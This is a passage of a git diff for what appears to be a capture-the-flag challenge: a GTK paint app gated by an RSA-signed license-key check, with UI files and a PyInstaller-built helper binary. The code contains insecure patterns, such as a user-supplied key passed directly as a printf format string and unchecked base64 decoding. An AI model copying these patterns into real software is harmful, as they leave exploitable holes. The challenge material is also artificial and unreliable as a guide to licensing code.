gtk_application_new("org.gtk.superhightechpaint", G_APPLICATION_FLAGS_NONE); + + g_signal_connect(app, "activate", G_CALLBACK(app_start), NULL); + status = g_application_run(G_APPLICATION(app), argc, argv); + + g_object_unref(app); + return status; +} \ No newline at end of file diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/src/paint.c b/super-hightech-paint/super-hightech-paint-2/buildfiles/src/paint.c new file mode 100644 index 0000000..96f78f3 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/src/paint.c @@ -0,0 +1,222 @@ +#include +#include + +extern GtkApplication *app; +cairo_surface_t* drawsurface; +cairo_t* painter; +GdkRGBA lastcolor; +int linesize = 2; +GtkWidget* draw_area; + +int last_x = -1, last_y = -1; + +static void create_fresh_drawsurface() +{ + drawsurface = cairo_image_surface_create(CAIRO_FORMAT_RGB24, 1280, 600); + painter = cairo_create(drawsurface); + cairo_set_source_rgb(painter, 1,1,1); + cairo_paint(painter); + cairo_fill(painter); + cairo_set_source_rgb(painter, lastcolor.red, lastcolor.green, lastcolor.blue); +} + +G_MODULE_EXPORT void brush_tool_clicked(GtkWidget* widget, gpointer data) +{ + cairo_set_source_rgb(painter, lastcolor.red, lastcolor.green, lastcolor.blue); +} + +G_MODULE_EXPORT void eraser_tool_clicked(GtkWidget* widget, gpointer data) +{ + cairo_set_source_rgb(painter, 1, 1, 1); +} + +extern const char* about_xml; + +G_MODULE_EXPORT void about_item_clicked(GtkWidget* widget, gpointer data) +{ + GtkBuilder* builder = gtk_builder_new_from_string(about_xml, strlen(about_xml)); + gtk_builder_set_application(builder, app); + gtk_builder_connect_signals(builder, NULL); + GtkWidget* window = GTK_WIDGET(gtk_builder_get_object(builder, "about_window")); + gtk_widget_show_all(window); +} + +G_MODULE_EXPORT void close_window(GtkWidget* widget, gpointer data) +{ + gtk_window_close(GTK_WINDOW(data)); +} + +G_MODULE_EXPORT void changed_color(GtkWidget* widget, gpointer data) +{ + gtk_color_chooser_get_rgba(GTK_COLOR_CHOOSER(widget), &lastcolor); + cairo_set_source_rgb(painter, lastcolor.red, lastcolor.green, lastcolor.blue); +} + +G_MODULE_EXPORT void draw_area_pressed(GtkWidget* widget, GdkEventButton* button, gpointer data) +{ + cairo_arc(painter, button->x, button->y, linesize, 0, 2*G_PI); + cairo_fill(painter); + + last_x = button->x; + last_y = button->y; + + + gtk_widget_queue_draw(widget); +} + +G_MODULE_EXPORT void draw_area_release(GtkWidget* widget, GdkEventButton* button, gpointer data) +{ + last_x = -1; + last_y = -1; +} + +void draw_line(int x_start, int y_start, int x_end, int y_end) +{ + /* this is horrible code, if you are reading this, please look away */ + if (x_start != -1 && y_start != -1) + { + if (x_end == x_start) + { + for (int i = MIN(y_start, y_end); i < MAX(y_start, y_end); i++) + cairo_arc(painter, x_start, i, linesize, 0, 2*G_PI); + } + else + { + if (x_end < x_start) + { + int temp = x_end; + x_end = x_start; + x_start = temp; + temp = y_end; + y_end = y_start; + y_start = temp; + } + + /* To lazy to implement bresenham so floats it is */ + + float y = y_start; + float inc = ((float) y_end - (float) y_start) / (((float) x_end - (float) x_start) ); + for (float x = x_start; x <= x_end; x += 0.1) + { + cairo_arc(painter, (int) x, (int) y, linesize, 0, 2*G_PI); + y += 0.1 * inc; + } + } + + } + else + cairo_arc(painter, x_end, y_end, linesize, 0, 2*G_PI); + + cairo_fill(painter); +} + +G_MODULE_EXPORT void draw_area_motion(GtkWidget* widget, GdkEventMotion* event, gpointer data) +{ + int new_x = event->x; + int new_y = event->y; + + draw_line(last_x, last_y, new_x, new_y); + + last_x = event->x; + last_y = event->y; + + gtk_widget_queue_draw(widget); +} + +G_MODULE_EXPORT void change_line_size(GtkWidget* widget, gpointer data) +{ + linesize = gtk_spin_button_get_value(GTK_SPIN_BUTTON(widget)); +} + +G_MODULE_EXPORT void file_save_clicked(GtkWidget* widget, gpointer data) +{ + GtkWindow* window = GTK_WINDOW(gtk_widget_get_toplevel(widget)); + GtkWidget* dialog = gtk_file_chooser_dialog_new("Save your creation", window, GTK_FILE_CHOOSER_ACTION_SAVE, "Cancel", GTK_RESPONSE_CANCEL, "Save", GTK_RESPONSE_ACCEPT, NULL); + + gtk_file_chooser_set_do_overwrite_confirmation(GTK_FILE_CHOOSER(dialog), TRUE); + gtk_file_chooser_set_current_name(GTK_FILE_CHOOSER(dialog), "Untitled document.png"); + int res = gtk_dialog_run(GTK_DIALOG(dialog)); + if (res == GTK_RESPONSE_ACCEPT) + { + char* filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); + cairo_surface_write_to_png(drawsurface, filename); + g_free(filename); + } + + gtk_widget_destroy(dialog); +} + +G_MODULE_EXPORT void file_open_clicked(GtkWidget* widget, gpointer data) +{ + GtkWindow* window = GTK_WINDOW(gtk_widget_get_toplevel(widget)); + GtkWidget* dialog = gtk_file_chooser_dialog_new("Open a creation", window, GTK_FILE_CHOOSER_ACTION_OPEN, "Cancel", GTK_RESPONSE_CANCEL, "Save", GTK_RESPONSE_ACCEPT, NULL); + + int res = gtk_dialog_run(GTK_DIALOG(dialog)); + if (res == GTK_RESPONSE_ACCEPT) + { + char* filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); + + cairo_surface_destroy(drawsurface); + cairo_destroy(painter); + drawsurface = cairo_image_surface_create_from_png(filename); + painter = cairo_create(drawsurface); + cairo_set_source_rgb(painter, lastcolor.red, lastcolor.green, lastcolor.blue); + + g_free(filename); + } + + gtk_widget_destroy(dialog); +} + +G_MODULE_EXPORT void file_new_clicked(GtkWidget* widget, gpointer data) +{ + cairo_surface_destroy(drawsurface); + create_fresh_drawsurface(); + gtk_widget_queue_draw(draw_area); +} + + +G_MODULE_EXPORT int draw_area_draw(GtkWidget* widget, cairo_t* cr, gpointer data) +{ + GtkStyleContext* context = gtk_widget_get_style_context(widget); + int width = gtk_widget_get_allocated_width(widget); + int height = gtk_widget_get_allocated_height(widget); + gtk_render_background(context, cr, 0, 0, width, height); + + cairo_set_source_surface(cr, drawsurface, 0, 0); + cairo_paint(cr); + return FALSE; +} + +static void close_application(GtkWidget* widget, gpointer data) +{ + g_application_quit(G_APPLICATION(app)); +} + +void gtk_buffer_poll(int x_start, int y_start, int x_end, int y_end) +{ + draw_line(x_start, y_start, x_end, y_end); + gtk_widget_queue_draw(draw_area); +} + +extern const char* paint_xml; + +void build_paint() +{ + GtkBuilder* builder = gtk_builder_new_from_string(paint_xml, strlen(paint_xml)); + gtk_builder_set_application(builder, app); + gtk_builder_connect_signals(builder, NULL); + GtkWidget* window = GTK_WIDGET(gtk_builder_get_object(builder, "main_window")); + g_signal_connect(window, "destroy", G_CALLBACK(close_application), NULL); + + lastcolor.alpha = 1; + GtkWidget* chooser = GTK_WIDGET(gtk_builder_get_object(builder, "color_selector")); + gtk_color_chooser_set_rgba(GTK_COLOR_CHOOSER(chooser), &lastcolor); + + draw_area = GTK_WIDGET(gtk_builder_get_object(builder, "draw_area")); + gtk_widget_add_events(draw_area, GDK_BUTTON_PRESS_MASK | GDK_BUTTON_RELEASE_MASK | GDK_BUTTON_MOTION_MASK); + gtk_widget_show_all(window); + create_fresh_drawsurface(); + + gtk_buffer_ready_for_refresh(gtk_buffer_poll); +} diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/src/validate.c b/super-hightech-paint/super-hightech-paint-2/buildfiles/src/validate.c new file mode 100644 index 0000000..d8c88b5 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/src/validate.c @@ -0,0 +1,178 @@ +#include + +#include +#include + +#define DATA_KILL_APP 1 + +extern GtkApplication *app; +int dont_kill_the_app_pls = 0; + +/** + * Way too complicated for this challenge, but I promised some good security + */ + +#include +#include +#include +#include +#include +#include + +const char* public_key = +"-----BEGIN PUBLIC KEY-----\n" +"MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL9v4j6aGhikcIUQdNUq4Qj9hkLvRpvC\n" +"3jXMmnivS1niM9ws3f7ZhaKqQyUUCb0HPWWal5FQYAhvj27A9wLcH3kCAwEAAQ==\n" +"-----END PUBLIC KEY-----"; + +RSA* create_public_rsa(const char* key) { + RSA *rsa = NULL; + BIO *keybio; + + keybio = BIO_new_mem_buf(key, -1); + + if (keybio==NULL) + { + return NULL; + } + + return PEM_read_bio_RSA_PUBKEY(keybio, &rsa, NULL, NULL); +} + +void base64_decode(const char* msg, unsigned char** buffer, size_t* length) { + BIO *bio, *b64; + + size_t len = strlen(msg); + int padding = 0; + if (msg[len-1] == '=' && msg[len-2] == '=') // last two chars are = + padding = 2; + else if (msg[len-1] == '=') // last char is = + padding = 1; + + size_t decode_len = (len * 3) / 4 - padding; + + + *buffer = (uint8_t*) malloc(decode_len + 1); + (*buffer)[decode_len] = '\0'; + + EVP_DecodeBlock(*buffer, (unsigned char*) msg, strlen(msg)); + *length = decode_len; +} + +int verify_signature(const char* public_key, const char* msg, const char* sig_base64) +{ + uint8_t* signature; // = (uint8_t*) malloc(64); + size_t signature_len; + + RSA* public_rsa = create_public_rsa(public_key); + base64_decode(sig_base64, &signature, &signature_len); + + EVP_PKEY* pubkey = EVP_PKEY_new(); + EVP_PKEY_assign_RSA(pubkey, public_rsa); + EVP_MD_CTX* ctx = EVP_MD_CTX_create(); + + if (EVP_DigestVerifyInit(ctx, NULL, EVP_sha256(), NULL, pubkey) <= 0) + { + return 0; + } + + if (EVP_DigestVerifyUpdate(ctx, msg, strlen(msg)) <= 0) + { + return 0; + } + + int auth_status = EVP_DigestVerifyFinal(ctx, signature, signature_len); + EVP_MD_CTX_destroy(ctx); + return auth_status; +} + +/** + * ------------- + */ + +/** + * Format is now + * + * SHTP-<8-letter-random-string>- + */ +int check_is_key_valid(const char* key) +{ + int ret = 0; + + /* Duplicate the key so we can edit it */ + char* dup = strdup(key); + + /* Not the correct format */ + if (dup[4] != '-' || dup[13] != '-') goto cleanup; + + dup[4] = '\0'; + dup[13] = '\0'; + + /* Starts with SHTP */ + if (strcmp(dup, "SHTP")) goto cleanup; + + ret = verify_signature(public_key, &dup[5], &dup[14]); + +cleanup: + free(dup); + return ret; +} + +static void invalid_key(GtkWindow* window) +{ + GtkWidget* dialog = gtk_message_dialog_new(window, GTK_DIALOG_DESTROY_WITH_PARENT | GTK_DIALOG_MODAL, GTK_MESSAGE_WARNING, GTK_BUTTONS_OK, "Your entered key is not valid"); + + g_signal_connect_swapped(GTK_WINDOW(dialog), "response", G_CALLBACK(gtk_widget_destroy), dialog); + + gtk_widget_show_all(dialog); + gtk_widget_show_all(GTK_WIDGET(window)); +} + +static void save_key(const char* key) +{ + FILE* f = fopen(KEYSTORE_FILE, "w+"); + fprintf(f, key); + fclose(f); +} + +G_MODULE_EXPORT void button_validate_clicked(GtkWidget* widget, gpointer data) +{ + GtkWidget* window = gtk_widget_get_toplevel(widget); + GtkEntryBuffer* buffer = gtk_entry_get_buffer(GTK_ENTRY(data)); + const char* key = gtk_entry_buffer_get_text(buffer); + + if (!check_is_key_valid(key)) + { + invalid_key(GTK_WINDOW(window)); + return; + } + + /* The key was valid, save the key for later and start the program */ + save_key(key); + + /* Destroy the old window, but make sure the application doesn't exit by overriding the destroy event */ + dont_kill_the_app_pls = 1; + gtk_window_close(GTK_WINDOW(window)); + + /* start the actual paint app */ + build_paint(); +} + +static void close_application(GtkWidget* widget, gpointer data) +{ + /* Ugly, hacky, but it works */ + if (!dont_kill_the_app_pls) + g_application_quit(G_APPLICATION(app)); +} + +extern const char* validate_xml; + +void build_license_key_popup() +{ + GtkBuilder* builder = gtk_builder_new_from_string(validate_xml, strlen(validate_xml)); + gtk_builder_set_application(builder, app); + gtk_builder_connect_signals(builder, NULL); + GtkWidget* window = GTK_WIDGET(gtk_builder_get_object(builder, "validate_window")); + g_signal_connect(window, "destroy", G_CALLBACK(close_application), NULL); + gtk_widget_show_all(window); +} \ No newline at end of file diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/src/xml.c b/super-hightech-paint/super-hightech-paint-2/buildfiles/src/xml.c new file mode 100644 index 0000000..c0f6dc2 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/src/xml.c @@ -0,0 +1,406 @@ +const char *about_xml = "" + "" + "" + " " + " " + " About" + " False" + " " + " " + " True" + " False" + " vertical" + " " + " " + " True" + " False" + " 30" + " This is the most high tech paint you have ever seen." + "" + " " + " " + " True" + " True" + " 0" + " " + " " + " " + " " + " True" + " False" + " center" + " creator: Robbe De Greef" + " " + " " + " True" + " True" + " 1" + " " + " " + " " + " " + " Close" + " True" + " True" + " True" + " center" + " 30" + " 30" + " " + " " + " " + " False" + " True" + " 2" + " " + " " + " " + " " + " " + ""; + +const char *paint_xml = + "" + "" + "" + " " + " " + " 100" + " 1" + " 10" + " " + " " + " False" + " 1280" + " 720" + " " + " " + " True" + " False" + " vertical" + " " + " " + " True" + " False" + " " + " " + " True" + " False" + " _File" + " True" + " " + " " + " True" + " False" + " " + " " + " gtk-new" + " True" + " False" + " True" + " True" + " " + " " + " " + " " + " " + " gtk-open" + " True" + " False" + " True" + " True" + " " + " " + " " + " " + " " + " gtk-save-as" + " True" + " False" + " True" + " True" + " " + " " + " " + " " + " " + " True" + " False" + " " + " " + " " + " " + " gtk-quit" + " True" + " False" + " True" + " True" + " " + " " + " " + " " + " " + " " + " " + " " + " " + " True" + " False" + " _Help" + " True" + " " + " " + " True" + " False" + " " + " " + " gtk-about" + " True" + " False" + " True" + " True" + " " + " " + " " + " " + " " + " " + " " + " " + " " + " False" + " True" + " 0" + " " + " " + " " + " " + " True" + " False" + " " + " " + " True" + " False" + " " + " " + " True" + " False" + " Brush tool to draw with" + " document-edit-symbolic" + " " + " " + " " + " False" + " True" + " " + " " + " " + " " + " True" + " False" + " True" + " edit-clear-all-symbolic" + " " + " " + " " + " False" + " True" + " " + " " + " " + " " + " False" + " True" + " 0" + " " + " " + " " + " " + " True" + " True" + " True" + " " + " " + " " + " False" + " True" + " 1" + " " + " " + " " + " " + " True" + " True" + " adjustment1" + " 2" + " " + " " + " " + " False" + " True" + " 2" + " " + " " + " " + " " + " False" + " True" + " 1" + " " + " " + " " + " " + " True" + " False" + " " + " " + " False" + " True" + " 2" + " " + " " + " " + " " + " True" + " True" + " True" + " True" + " True" + " True" + " True" + " " + " " + " " + " " + " " + " " + " False" + " True" + " 3" + " " + " " + " " + " " + " True" + " False" + " " + " " + " False" + " True" + " 4" + " " + " " + " " + " " + " True" + " False" + " " + " " + " True" + " False" + " 10" + " 10" + " 6" + " 6" + " vertical" + " 2" + " " + " " + " True" + " True" + " 0" + " " + " " + " " + " " + " True" + " False" + " 10" + " 10" + " Version 42.0" + " " + " " + " False" + " True" + " 1" + " " + " " + " " + " " + " False" + " True" + " 5" + " " + " " + " " + " " + " " + ""; + +const char *validate_xml = + "" + "" + "" + " " + " " + " False" + " Super High Tech Paint" + " False" + " center" + " 500" + " 300" + " center" + " " + " " + " " + " True" + " False" + " center" + " center" + " 6" + " True" + " " + " " + " True" + " False" + " 10" + " 10" + " Please enter a valid license key" + " " + " " + " 0" + " 0" + " " + " " + " " + " " + " True" + " True" + " 120" + " 0.5" + " XXXX-XXXXXXXX-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" + " " + " " + " 0" + " 1" + " " + " " + " " + " " + " Validate" + " True" + " True" + " True" + " True" + " center" + " " + " " + " " + " 0" + " 2" + " " + " " + " " + " " + " " + ""; diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/about.glade b/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/about.glade new file mode 100644 index 0000000..7ab31c1 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/about.glade @@ -0,0 +1,60 @@ + + + + + + About + False + + + True + False + vertical + + + True + False + 30 + This is the most high tech paint you have ever seen. + + + + True + True + 0 + + + + + True + False + center + creator: Robbe De Greef + + + True + True + 1 + + + + + Close + True + True + True + center + 30 + 30 + + + + False + True + 2 + + + + + + diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/about.glade~ b/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/about.glade~ new file mode 100644 index 0000000..8b1f49f --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/about.glade~ @@ -0,0 +1,60 @@ + + + + + + About + False + + + True + False + vertical + + + True + False + 30 + This is the most high tech paint you have ever seen. + + + + True + True + 0 + + + + + True + False + center + creator: Robbe De Greef + + + True + True + 1 + + + + + Close + True + True + True + center + 30 + 30 + + + + False + True + 2 + + + + + + diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/paint.glade b/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/paint.glade new file mode 100644 index 0000000..1cd1796 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/paint.glade @@ -0,0 +1,276 @@ + + + + + + 100 + 1 + 10 + + + False + 1280 + 720 + + + True + False + vertical + + + True + False + + + True + False + _File + True + + + True + False + + + gtk-new + True + False + True + True + + + + + + gtk-open + True + False + True + True + + + + + + gtk-save-as + True + False + True + True + + + + + + True + False + + + + + gtk-quit + True + False + True + True + + + + + + + + + + True + False + _Help + True + + + True + False + + + gtk-about + True + False + True + True + + + + + + + + + + False + True + 0 + + + + + True + False + + + True + False + + + True + False + Brush tool to draw with + document-edit-symbolic + + + + False + True + + + + + True + False + True + edit-clear-all-symbolic + + + + False + True + + + + + False + True + 0 + + + + + True + True + True + + + + False + True + 1 + + + + + True + True + adjustment1 + 2 + + + + False + True + 2 + + + + + False + True + 1 + + + + + True + False + + + False + True + 2 + + + + + True + True + True + True + True + True + True + + + + + + + False + True + 3 + + + + + True + False + + + False + True + 4 + + + + + True + False + + + True + False + 10 + 10 + 6 + 6 + vertical + 2 + + + True + True + 0 + + + + + True + False + 10 + 10 + Version 42.0 + + + False + True + 1 + + + + + False + True + 5 + + + + + + diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/paint.glade~ b/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/paint.glade~ new file mode 100644 index 0000000..b774400 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/paint.glade~ @@ -0,0 +1,251 @@ + + + + + + 100 + 1 + 10 + + + False + 1280 + 720 + + + True + False + vertical + + + True + False + + + True + False + _File + True + + + True + False + + + gtk-new + True + False + True + True + + + + + + gtk-open + True + False + True + True + + + + + + gtk-save-as + True + False + True + True + + + + + + True + False + + + + + gtk-quit + True + False + True + True + + + + + + + + + + True + False + _Help + True + + + True + False + + + gtk-about + True + False + True + True + + + + + + + + + + False + True + 0 + + + + + True + False + + + True + False + + + True + False + Brush tool to draw with + document-edit-symbolic + + + + False + True + + + + + True + False + True + edit-clear-all-symbolic + + + + False + True + + + + + False + True + 0 + + + + + True + True + True + + + + False + True + 1 + + + + + True + True + adjustment1 + 2 + + + + False + True + 2 + + + + + False + True + 1 + + + + + True + False + + + False + True + 2 + + + + + True + True + True + True + True + True + True + + + + + + + False + True + 3 + + + + + True + False + + + False + True + 4 + + + + + True + False + 10 + 10 + 6 + 6 + vertical + 2 + + + False + True + 5 + + + + + + diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/validate_field.glade b/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/validate_field.glade new file mode 100644 index 0000000..a573251 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/validate_field.glade @@ -0,0 +1,66 @@ + + + + + + False + Super High Tech Paint + False + center + 500 + 300 + center + + + + True + False + center + center + 6 + True + + + True + False + 10 + 10 + Please enter a valid license key + + + 0 + 0 + + + + + True + True + 120 + 0.5 + XXXX-XXXXXXXX-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + 0 + 1 + + + + + Validate + True + True + True + True + center + + + + 0 + 2 + + + + + + diff --git a/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/validate_field.glade~ b/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/validate_field.glade~ new file mode 100644 index 0000000..494611e --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/buildfiles/ui/validate_field.glade~ @@ -0,0 +1,66 @@ + + + + + + False + Super High Tech Paint + False + center + 500 + 300 + center + + + + True + False + center + center + 6 + True + + + True + False + 10 + 10 + Please enter a valid license key + + + 0 + 0 + + + + + True + True + 19 + 0.5 + XXXX-XXXX-XXXX-XXXX + + + 0 + 1 + + + + + Validate + True + True + True + True + center + + + + 0 + 2 + + + + + + diff --git a/super-hightech-paint/super-hightech-paint-2/cyber-grandma-linkup b/super-hightech-paint/super-hightech-paint-2/cyber-grandma-linkup new file mode 100755 index 0000000..ad444e7 Binary files /dev/null and b/super-hightech-paint/super-hightech-paint-2/cyber-grandma-linkup differ diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/__pycache__/data.cpython-310.pyc b/super-hightech-paint/super-hightech-paint-2/grandma/__pycache__/data.cpython-310.pyc new file mode 100644 index 0000000..5f3112e Binary files /dev/null and b/super-hightech-paint/super-hightech-paint-2/grandma/__pycache__/data.cpython-310.pyc differ diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build.sh b/super-hightech-paint/super-hightech-paint-2/grandma/build.sh new file mode 100755 index 0000000..18ae5ff --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/grandma/build.sh @@ -0,0 +1,2 @@ +pyinstaller --onefile grandma.py +mv dist/grandma ../cyber-grandma-linkup diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/Analysis-00.toc b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/Analysis-00.toc new file mode 100644 index 0000000..ef0c386 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/Analysis-00.toc @@ -0,0 +1,218 @@ +(['/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/grandma.py'], + ['/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma'], + ['codecs'], + ['/home/robbe/.local/lib/python3.10/site-packages/_pyinstaller_hooks_contrib/hooks/stdhooks', + '/home/robbe/.local/lib/python3.10/site-packages/_pyinstaller_hooks_contrib/hooks/stdhooks/__pycache__', + '/home/robbe/.local/lib/python3.10/site-packages/_pyinstaller_hooks_contrib/hooks/rthooks', + '/home/robbe/.local/lib/python3.10/site-packages/_pyinstaller_hooks_contrib/hooks/rthooks/__pycache__', + '/home/robbe/.local/lib/python3.10/site-packages/_pyinstaller_hooks_contrib/hooks'], + {}, + [], + [], + False, + False, + False, + {}, + '3.10.8 (main, Oct 24 2022, 10:07:16) [GCC 12.2.0]', + [('pyi_rth_inspect', + '/home/robbe/.local/lib/python3.10/site-packages/PyInstaller/hooks/rthooks/pyi_rth_inspect.py', + 'PYSOURCE'), + ('pyi_rth_subprocess', + '/home/robbe/.local/lib/python3.10/site-packages/PyInstaller/hooks/rthooks/pyi_rth_subprocess.py', + 'PYSOURCE'), + ('grandma', + '/home/robbe/ig/challenges-2223/super-hightech-paint/super-hightech-paint-2/grandma/grandma.py', + 'PYSOURCE')], + [('inspect', '/usr/lib/python3.10/inspect.py', 'PYMODULE'), + ('importlib', '/usr/lib/python3.10/importlib/__init__.py', 'PYMODULE'), + ('importlib.abc', '/usr/lib/python3.10/importlib/abc.py', 'PYMODULE'), + ('typing', '/usr/lib/python3.10/typing.py', 'PYMODULE'), + ('contextlib', '/usr/lib/python3.10/contextlib.py', 'PYMODULE'), + ('importlib._abc', '/usr/lib/python3.10/importlib/_abc.py', 'PYMODULE'), + ('importlib._bootstrap_external', + '/usr/lib/python3.10/importlib/_bootstrap_external.py', + 'PYMODULE'), + ('importlib.metadata', + '/usr/lib/python3.10/importlib/metadata/__init__.py', + 'PYMODULE'), + ('importlib.metadata._itertools', + '/usr/lib/python3.10/importlib/metadata/_itertools.py', + 'PYMODULE'), + ('importlib.metadata._functools', + '/usr/lib/python3.10/importlib/metadata/_functools.py', + 'PYMODULE'), + ('importlib.metadata._collections', + '/usr/lib/python3.10/importlib/metadata/_collections.py', + 'PYMODULE'), + ('importlib.metadata._meta', + '/usr/lib/python3.10/importlib/metadata/_meta.py', + 'PYMODULE'), + ('importlib.metadata._adapters', + '/usr/lib/python3.10/importlib/metadata/_adapters.py', + 'PYMODULE'), + ('importlib.metadata._text', + '/usr/lib/python3.10/importlib/metadata/_text.py', + 'PYMODULE'), + ('email.message', '/usr/lib/python3.10/email/message.py', 'PYMODULE'), + ('email.policy', '/usr/lib/python3.10/email/policy.py', 'PYMODULE'), + ('email.contentmanager', + '/usr/lib/python3.10/email/contentmanager.py', + 'PYMODULE'), + ('email.quoprimime', '/usr/lib/python3.10/email/quoprimime.py', 'PYMODULE'), + ('string', '/usr/lib/python3.10/string.py', 'PYMODULE'), + ('email.headerregistry', + '/usr/lib/python3.10/email/headerregistry.py', + 'PYMODULE'), + ('email._header_value_parser', + '/usr/lib/python3.10/email/_header_value_parser.py', + 'PYMODULE'), + ('email.iterators', '/usr/lib/python3.10/email/iterators.py', 'PYMODULE'), + ('email.generator', '/usr/lib/python3.10/email/generator.py', 'PYMODULE'), + ('copy', '/usr/lib/python3.10/copy.py', 'PYMODULE'), + ('random', '/usr/lib/python3.10/random.py', 'PYMODULE'), + ('statistics', '/usr/lib/python3.10/statistics.py', 'PYMODULE'), + ('decimal', '/usr/lib/python3.10/decimal.py', 'PYMODULE'), + ('_pydecimal', '/usr/lib/python3.10/_pydecimal.py', 'PYMODULE'), + ('contextvars', '/usr/lib/python3.10/contextvars.py', 'PYMODULE'), + ('fractions', '/usr/lib/python3.10/fractions.py', 'PYMODULE'), + ('numbers', '/usr/lib/python3.10/numbers.py', 'PYMODULE'), + ('hashlib', '/usr/lib/python3.10/hashlib.py', 'PYMODULE'), + ('logging', '/usr/lib/python3.10/logging/__init__.py', 'PYMODULE'), + ('pickle', '/usr/lib/python3.10/pickle.py', 'PYMODULE'), + ('pprint', '/usr/lib/python3.10/pprint.py', 'PYMODULE'), + ('dataclasses', '/usr/lib/python3.10/dataclasses.py', 'PYMODULE'), + ('_compat_pickle', '/usr/lib/python3.10/_compat_pickle.py', 'PYMODULE'), + ('bisect', '/usr/lib/python3.10/bisect.py', 'PYMODULE'), + ('email._encoded_words', + '/usr/lib/python3.10/email/_encoded_words.py', + 'PYMODULE'), + ('base64', '/usr/lib/python3.10/base64.py', 'PYMODULE'), + ('getopt', '/usr/lib/python3.10/getopt.py', 'PYMODULE'), + ('gettext', '/usr/lib/python3.10/gettext.py', 'PYMODULE'), + ('email.charset', '/usr/lib/python3.10/email/charset.py', 'PYMODULE'), + ('email.encoders', '/usr/lib/python3.10/email/encoders.py', 'PYMODULE'), + ('email.base64mime', '/usr/lib/python3.10/email/base64mime.py', 'PYMODULE'), + ('email._policybase', '/usr/lib/python3.10/email/_policybase.py', 'PYMODULE'), + ('email.header', '/usr/lib/python3.10/email/header.py', 'PYMODULE'), + ('email.errors', '/usr/lib/python3.10/email/errors.py', 'PYMODULE'), + ('email.utils', '/usr/lib/python3.10/email/utils.py', 'PYMODULE'), + ('email._parseaddr', '/usr/lib/python3.10/email/_parseaddr.py', 'PYMODULE'), + ('calendar', '/usr/lib/python3.10/calendar.py', 'PYMODULE'), + ('datetime', '/usr/lib/python3.10/datetime.py', 'PYMODULE'), + ('_strptime', '/usr/lib/python3.10/_strptime.py', 'PYMODULE'), + ('quopri', '/usr/lib/python3.10/quopri.py', 'PYMODULE'), + ('uu', '/usr/lib/python3.10/uu.py', 'PYMODULE'), + ('optparse', '/usr/lib/python3.10/optparse.py', 'PYMODULE'), + ('textwrap', '/usr/lib/python3.10/textwrap.py', 'PYMODULE'), + ('zipfile', '/usr/lib/python3.10/zipfile.py', 'PYMODULE'), + ('py_compile', '/usr/lib/python3.10/py_compile.py', 'PYMODULE'), + ('lzma', '/usr/lib/python3.10/lzma.py', 'PYMODULE'), + ('_compression', '/usr/lib/python3.10/_compression.py', 'PYMODULE'), + ('bz2', '/usr/lib/python3.10/bz2.py', 'PYMODULE'), + ('shutil', '/usr/lib/python3.10/shutil.py', 'PYMODULE'), + ('tarfile', '/usr/lib/python3.10/tarfile.py', 'PYMODULE'), + ('gzip', '/usr/lib/python3.10/gzip.py', 'PYMODULE'), + ('importlib.util', '/usr/lib/python3.10/importlib/util.py', 'PYMODULE'), + ('email', '/usr/lib/python3.10/email/__init__.py', 'PYMODULE'), + ('email.parser', '/usr/lib/python3.10/email/parser.py', 'PYMODULE'), + ('email.feedparser', '/usr/lib/python3.10/email/feedparser.py', 'PYMODULE'), + ('csv', '/usr/lib/python3.10/csv.py', 'PYMODULE'), + ('importlib.readers', '/usr/lib/python3.10/importlib/readers.py', 'PYMODULE'), + ('importlib._bootstrap', + '/usr/lib/python3.10/importlib/_bootstrap.py', + 'PYMODULE'), + ('argparse', '/usr/lib/python3.10/argparse.py', 'PYMODULE'), + ('importlib.machinery', + '/usr/lib/python3.10/importlib/machinery.py', + 'PYMODULE'), + ('dis', '/usr/lib/python3.10/dis.py', 'PYMODULE'), + ('opcode', '/usr/lib/python3.10/opcode.py', 'PYMODULE'), + ('ast', '/usr/lib/python3.10/ast.py', 'PYMODULE'), + ('_py_abc', '/usr/lib/python3.10/_py_abc.py', 'PYMODULE'), + ('getpass', '/usr/lib/python3.10/getpass.py', 'PYMODULE'), + ('nturl2path', '/usr/lib/python3.10/nturl2path.py', 'PYMODULE'), + ('ftplib', '/usr/lib/python3.10/ftplib.py', 'PYMODULE'), + ('netrc', '/usr/lib/python3.10/netrc.py', 